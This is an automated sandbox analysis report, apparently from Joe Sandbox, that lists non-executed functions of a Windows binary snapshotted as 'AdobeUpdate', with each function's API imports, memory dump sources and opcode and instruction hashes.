Opcode ID: 78a97766118129f21d818817cbad7ed6548654daf1910381c6a4593ad2caefed
Instruction ID: 8658604593cebf7aa87ddc8f3ce495ee3759b70f9331ffd1761787cf31b9b70d
Opcode Fuzzy Hash: 78a97766118129f21d818817cbad7ed6548654daf1910381c6a4593ad2caefed
Instruction Fuzzy Hash: 78311729E0C24B45FB64AF64A7513B92291AF81746F445435EACECB6E3DE2CF884C250

Non-executed Functions

Function 00007FF6C12AD4FC Relevance: 13.6, APIs: 9, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6C12AD518
memset.VCRUNTIME140 ref: 00007FF6C12AD53C
RtlCaptureContext.KERNEL32 ref: 00007FF6C12AD545
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6C12AD55F
RtlVirtualUnwind.KERNEL32 ref: 00007FF6C12AD5A0
memset.VCRUNTIME140 ref: 00007FF6C12AD5D3
IsDebuggerPresent.KERNEL32 ref: 00007FF6C12AD5F4
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6C12AD615
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6C12AD620

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: aaac3d8bcd2409564a93bb2692e41ca80ea2fafb89281b964e3b37efff4b1c1f
Instruction ID: 959f18db590ab147fb68ad7f6219da2c71958a89b081abfbb74104c43a591e90
Opcode Fuzzy Hash: aaac3d8bcd2409564a93bb2692e41ca80ea2fafb89281b964e3b37efff4b1c1f
Instruction Fuzzy Hash: B6317276608B858AEB709F60E8503EE7360FB84745F44403ADA8D87B99DF3CD588C710

Function 00007FF6C12AC8D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32 ref: 00007FF6C12AC8FA
FormatMessageA.KERNEL32(?,?,?,?,?,?,?,?,00007FF6C12AB010), ref: 00007FF6C12AC929

Strings

!x-sys-default-locale, xrefs: 00007FF6C12AC8ED

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: 4a16ee6a4f9f7a58f6f0993f016c016337146f7ae58b0ac5f22ac39274476180
Instruction ID: 6683de96ae19f47227617e76408889f254f3acf654b3be4db2f70e4e425b5359
Opcode Fuzzy Hash: 4a16ee6a4f9f7a58f6f0993f016c016337146f7ae58b0ac5f22ac39274476180
Instruction Fuzzy Hash: 8001B176B1878682E7208F21F5407BAB7A1F7897D5F844135D68D82B88CF3CD485CB44

Function 00007FF6C12A6670 Relevance: 3.0, APIs: 2, Instructions: 40clipboardCOMMON

Download Yara Rule

APIs

GetClipboardData.USER32 ref: 00007FF6C12A6692
memmove.VCRUNTIME140 ref: 00007FF6C12A66E7

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: ClipboardDatamemmove
String ID:
API String ID: 3657360178-0
Opcode ID: 7cd69b7c4ad872ffde38bc3ea661b3f0bdf98027421623417369893fb5a22d0f
Instruction ID: 9c0bb6e3ef8fb659f5a4a8c22282c827c537bb667b51da2b1d85c8c7c343fd74
Opcode Fuzzy Hash: 7cd69b7c4ad872ffde38bc3ea661b3f0bdf98027421623417369893fb5a22d0f
Instruction Fuzzy Hash: 0611E152E2C78486FB108F30D51137A63A0EB69BA4F145334EAED462C6DF6CE0C08740

Function 00007FF6C12AD6E4 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f68ef08b99faef8739895086fe2702296faa35abbdccbbabc440264f9488251f
Instruction ID: 5ce11e0f922149c2c974f2a5d58f887acad42d0bf75c633bba025e0c1cec7136
Opcode Fuzzy Hash: f68ef08b99faef8739895086fe2702296faa35abbdccbbabc440264f9488251f
Instruction Fuzzy Hash: E0A0022994CC07D4E7188F00FB501343330FB68702B414072C08DC1464DF3CB580C350

Function 00007FF6C12A378C Relevance: 12.2, APIs: 8, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.VCRUNTIME140(?,00000000,?,00007FF6C12A2761,?,?,?,00007FF6C12A3EE1), ref: 00007FF6C12A384A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000000,?,00007FF6C12A2761,?,?,?,00007FF6C12A3EE1), ref: 00007FF6C12A3888
memmove.VCRUNTIME140(?,00000000,?,00007FF6C12A2761,?,?,?,00007FF6C12A3EE1), ref: 00007FF6C12A3892
memmove.VCRUNTIME140(?,?,?,00000000,?,00000000,?,00007FF6C12A2761,?,?,?,00007FF6C12A3EE1), ref: 00007FF6C12A3992
memmove.VCRUNTIME140(?,?,?,00000000,?,00000000,?,00007FF6C12A2761,?,?,?,00007FF6C12A3EE1), ref: 00007FF6C12A39A0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000000,?,00000000,?,00007FF6C12A2761,?,?,?,00007FF6C12A3EE1), ref: 00007FF6C12A39D9
memmove.VCRUNTIME140(?,?,?,00000000,?,00000000,?,00007FF6C12A2761,?,?,?,00007FF6C12A3EE1), ref: 00007FF6C12A39E3
memmove.VCRUNTIME140(?,?,?,00000000,?,00000000,?,00007FF6C12A2761,?,?,?,00007FF6C12A3EE1), ref: 00007FF6C12A39F1

Part of subcall function 00007FF6C12ACC88: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6C12A8F80), ref: 00007FF6C12ACCA2

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: memmove$_invalid_parameter_noinfo_noreturn$malloc
String ID:
API String ID: 1479149652-0
Opcode ID: 7e944f2b0d9bcedb63418371ff5278b368d0ba77e2cce49da8892cb3a4319cea
Instruction ID: 004aacddafc6237ae3a5b35574813597364cc83d96f12203fb45a0ca9f3ed2bd
Opcode Fuzzy Hash: 7e944f2b0d9bcedb63418371ff5278b368d0ba77e2cce49da8892cb3a4319cea
Instruction Fuzzy Hash: 9461E22AB0878295EF149F26A604369A752FB04FD1F588532DF9D4BB96CE7CE0D18300

Function 00007FF6C12A6CCC Relevance: 9.1, APIs: 6, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?tolower@?$ctype@D@std@@QEBADD@Z.MSVCP140(?,?,?,00007FF6C12A7EBF,?,?,?,?,?,?,?,00007FF6C12A7CE8), ref: 00007FF6C12A6CFC
?tolower@?$ctype@D@std@@QEBADD@Z.MSVCP140(?,?,?,00007FF6C12A7EBF,?,?,?,?,?,?,?,00007FF6C12A7CE8), ref: 00007FF6C12A6D0F
memset.VCRUNTIME140(?,?,?,00007FF6C12A7EBF,?,?,?,?,?,?,?,00007FF6C12A7CE8), ref: 00007FF6C12A6D63
realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6C12A7EBF,?,?,?,?,?,?,?,00007FF6C12A7CE8), ref: 00007FF6C12A6DFE
realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6C12A7EBF,?,?,?,?,?,?,?,00007FF6C12A7CE8), ref: 00007FF6C12A6E32
?_Xbad_alloc@std@@YAXXZ.MSVCP140(?,?,?,00007FF6C12A7EBF,?,?,?,?,?,?,?,00007FF6C12A7CE8), ref: 00007FF6C12A6E6E

Part of subcall function 00007FF6C12ACC88: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6C12A8F80), ref: 00007FF6C12ACCA2

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: ?tolower@?$ctype@D@std@@realloc$Xbad_alloc@std@@mallocmemset
String ID:
API String ID: 3661150764-0
Opcode ID: 013138b7fa9eaf1f874e2d65456e622f28f172764970678887205d3d68904c82
Instruction ID: 42446c6eb455fb924329c415368b15169823a710196db3baaad09b81ecee6b06
Opcode Fuzzy Hash: 013138b7fa9eaf1f874e2d65456e622f28f172764970678887205d3d68904c82
Instruction Fuzzy Hash: 7C519F36A09A4286EB519F25D68067CB7A1FB88F86F498035DB9D87385DF3CD8D2C340

Function 00007FF6C12A3494 Relevance: 9.1, APIs: 6, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.VCRUNTIME140 ref: 00007FF6C12A3580
memmove.VCRUNTIME140 ref: 00007FF6C12A358E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12A35CD
memmove.VCRUNTIME140 ref: 00007FF6C12A35D7
memmove.VCRUNTIME140 ref: 00007FF6C12A35E5
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C12A3614

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2016347663-0
Opcode ID: 26b11adda677e6b343809b3a9c1f49ea10735b2f8080227b866242dc9828e6e7
Instruction ID: cc621773e6061d8a936023e1843170980575c168f53cb0b5b616673cc2a91189
Opcode Fuzzy Hash: 26b11adda677e6b343809b3a9c1f49ea10735b2f8080227b866242dc9828e6e7
Instruction Fuzzy Hash: AF41C36AB0864595EF109F1AF6042AAA351EB08FE1F548631DEED87BD6DE3CE1C18304

Function 00007FF6C12A18B9 Relevance: 9.1, APIs: 6, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF6C12A2F46
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF6C12A2F4D
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF6C12A2F5B

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?setstate@?$basic_ios@?uncaught_exception@std@@Osfx@?$basic_ostream@
String ID:
API String ID: 2077694045-0
Opcode ID: 453be39fce51d7f91d2905c70a9c180258c8c2645e76f728006da0f14fafa6d1
Instruction ID: 2ea1f1fc5198d8f4d180ea46aa17b9d9dac0e189e585976221f3ac7a264ee197
Opcode Fuzzy Hash: 453be39fce51d7f91d2905c70a9c180258c8c2645e76f728006da0f14fafa6d1
Instruction Fuzzy Hash: 01414266A08A4582EB209F15D69023DA7A1FB85F96F158532DE9DC7768CF3CE8C6C340

Function 00007FF6C12A18C8 Relevance: 9.1, APIs: 6, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6C12A195F
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140 ref: 00007FF6C12A1986
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6C12A19A6
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF6C12A19E4
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF6C12A19EB
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF6C12A19F9

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?sputc@?$basic_streambuf@$?setstate@?$basic_ios@?sputn@?$basic_streambuf@?uncaught_exception@std@@Osfx@?$basic_ostream@
String ID:
API String ID: 3901553425-0
Opcode ID: 3899ee91e1b713a6a50820146165eb8bad4d2aa0730d0caa4019f4f0777c2472
Instruction ID: e22ddd9ead213b25769a2a5f7410b6e94a6c7ca5a3d04ce330e70e09b9ff364c
Opcode Fuzzy Hash: 3899ee91e1b713a6a50820146165eb8bad4d2aa0730d0caa4019f4f0777c2472
Instruction Fuzzy Hash: 5F413436A09A9286EB208F15D7D013D6761FB46FA6F148631CEAE837A5CF3CD495C300

Function 00007FF6C12A4CC4 Relevance: 9.1, APIs: 6, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??0_Lockit@std@@QEAA@H@Z.MSVCP140(00000008,?,?,00007FF6C12A5197,?,?,?,00007FF6C12A47D8,?,?,?,?,?,?,?,00007FF6C12A2382), ref: 00007FF6C12A4CDA
??Bid@locale@std@@QEAA_KXZ.MSVCP140(?,00007FF6C12A5197,?,?,?,00007FF6C12A47D8,?,?,?,?,?,?,?,00007FF6C12A2382), ref: 00007FF6C12A4CF4
?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ.MSVCP140(?,00007FF6C12A5197,?,?,?,00007FF6C12A47D8,?,?,?,?,?,?,?,00007FF6C12A2382), ref: 00007FF6C12A4D26
?_Getcat@?$ctype@D@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z.MSVCP140(?,00007FF6C12A5197,?,?,?,00007FF6C12A47D8,?,?,?,?,?,?,?,00007FF6C12A2382), ref: 00007FF6C12A4D50
std::_Facet_Register.LIBCPMT ref: 00007FF6C12A4D69
??1_Lockit@std@@QEAA@XZ.MSVCP140(?,00007FF6C12A5197,?,?,?,00007FF6C12A47D8,?,?,?,?,?,?,?,00007FF6C12A2382), ref: 00007FF6C12A4D88

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Getgloballocale@locale@std@@Locimp@12@RegisterV42@@Vfacet@locale@2@std::_
String ID:
API String ID: 295490909-0
Opcode ID: bb4b9fba70b8cdda44d29502ec8ea9042cfbc8abe3e100e0a9e7bdf86edccc93
Instruction ID: 8f555e8d1252327a1593fa7f37ed4362fe112868feedb4454a77daaba12aee4c
Opcode Fuzzy Hash: bb4b9fba70b8cdda44d29502ec8ea9042cfbc8abe3e100e0a9e7bdf86edccc93
Instruction Fuzzy Hash: 59215E2AA08A8281EB149F15E5902B96760FB89F96F1C0531DF9D877A9DF3CE8D5C340

Function 00007FF6C12A4390 Relevance: 7.9, APIs: 5, Instructions: 376
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C12A44C8
memset.VCRUNTIME140(?,?,?,3FFFFFFFFFFFFFFF,?,?,?,00007FF6C12A4203,?,?,?,00007FF6C12A92B5), ref: 00007FF6C12A45A0

Part of subcall function 00007FF6C12ACC88: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6C12A8F80), ref: 00007FF6C12ACCA2

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: Concurrency::cancel_current_taskmallocmemset
String ID:
API String ID: 2179613399-0
Opcode ID: 2365e17c2eae6f2e067b7312316ce99b5e0f0170b1b83df64bb02dafa12a696b
Instruction ID: 8976c1219d8b2720aed0c7ef592107e4ead7c300743f234dccb9f2f862b12360
Opcode Fuzzy Hash: 2365e17c2eae6f2e067b7312316ce99b5e0f0170b1b83df64bb02dafa12a696b
Instruction Fuzzy Hash: FCD1DF66B09A8985EB14CF56E64427963A4EB44FE1F588632DFED87BD4CE3CE491C300

Function 00007FF6C12A2DAC Relevance: 7.6, APIs: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6C12A2DE9
?_Xbad_alloc@std@@YAXXZ.MSVCP140 ref: 00007FF6C12A2E28
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF6C12A2F46
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF6C12A2F4D
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF6C12A2F5B

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?setstate@?$basic_ios@?uncaught_exception@std@@Osfx@?$basic_ostream@Xbad_alloc@std@@realloc
String ID:
API String ID: 2487731983-0
Opcode ID: 4a1f6d03ca14bf1403e94171af387133f0202b7b6271c2f389aac75518f98b30
Instruction ID: 0dbbad309580ade2f55f0fbec26dc3c16c55971b792d79f6a1e5b18325b6a3b2
Opcode Fuzzy Hash: 4a1f6d03ca14bf1403e94171af387133f0202b7b6271c2f389aac75518f98b30
Instruction Fuzzy Hash: D5414336A08A8586EB219F15D64012DB7A1FB85F85F188431DF8D87B69CF3CE8D2C700

Function 00007FF6C12A8F38 Relevance: 7.6, APIs: 5, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6C12ACC88: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6C12A8F80), ref: 00007FF6C12ACCA2

??0_Locinfo@std@@QEAA@PEBD@Z.MSVCP140 ref: 00007FF6C12A8FB8
??0facet@locale@std@@IEAA@_K@Z.MSVCP140 ref: 00007FF6C12A8FCF
?_Getcoll@_Locinfo@std@@QEBA?AU_Collvec@@XZ.MSVCP140 ref: 00007FF6C12A8FE8
??1_Locinfo@std@@QEAA@XZ.MSVCP140 ref: 00007FF6C12A900C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12A9053

Part of subcall function 00007FF6C12AB07C: ?c_str@?$_Yarn@D@std@@QEBAPEBDXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF6C12A8F9D), ref: 00007FF6C12AB0B6
Part of subcall function 00007FF6C12AB07C: memmove.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF6C12A8F9D), ref: 00007FF6C12AB131
Part of subcall function 00007FF6C12AB07C: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12AB1C6

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: Locinfo@std@@$_invalid_parameter_noinfo_noreturn$??0_??0facet@locale@std@@??1_?c_str@?$_Collvec@@D@std@@Getcoll@_Yarn@mallocmemmove
String ID:
API String ID: 1602917343-0
Opcode ID: a78317c7dc147549a852ed621cc671225eacfe356231027a8034ae884b313f52
Instruction ID: e4858a113708bc6f873326c87ef6f5499d79884e07bd0196ca7a63caec1f0f23
Opcode Fuzzy Hash: a78317c7dc147549a852ed621cc671225eacfe356231027a8034ae884b313f52
Instruction Fuzzy Hash: 44316E36A09B8285FF24CF25E5403AA6261EF89B92F508231DADD837A5DF3CD4C6C700

Function 00007FF6C12A4BEC Relevance: 7.6, APIs: 5, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??0_Lockit@std@@QEAA@H@Z.MSVCP140(?,00000001,?,00007FF6C12A523C,?,00000000,00000001,00007FF6C12A10A1), ref: 00007FF6C12A4C01
??Bid@locale@std@@QEAA_KXZ.MSVCP140(?,00007FF6C12A523C,?,00000000,00000001,00007FF6C12A10A1), ref: 00007FF6C12A4C1B
?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ.MSVCP140(?,00007FF6C12A523C,?,00000000,00000001,00007FF6C12A10A1), ref: 00007FF6C12A4C4D
??1_Lockit@std@@QEAA@XZ.MSVCP140(?,00007FF6C12A523C,?,00000000,00000001,00007FF6C12A10A1), ref: 00007FF6C12A4CA9

Part of subcall function 00007FF6C12A8F38: ??0_Locinfo@std@@QEAA@PEBD@Z.MSVCP140 ref: 00007FF6C12A8FB8
Part of subcall function 00007FF6C12A8F38: ??0facet@locale@std@@IEAA@_K@Z.MSVCP140 ref: 00007FF6C12A8FCF
Part of subcall function 00007FF6C12A8F38: ?_Getcoll@_Locinfo@std@@QEBA?AU_Collvec@@XZ.MSVCP140 ref: 00007FF6C12A8FE8
Part of subcall function 00007FF6C12A8F38: ??1_Locinfo@std@@QEAA@XZ.MSVCP140 ref: 00007FF6C12A900C
Part of subcall function 00007FF6C12A8F38: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12A9053

std::_Facet_Register.LIBCPMT ref: 00007FF6C12A4C8F

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

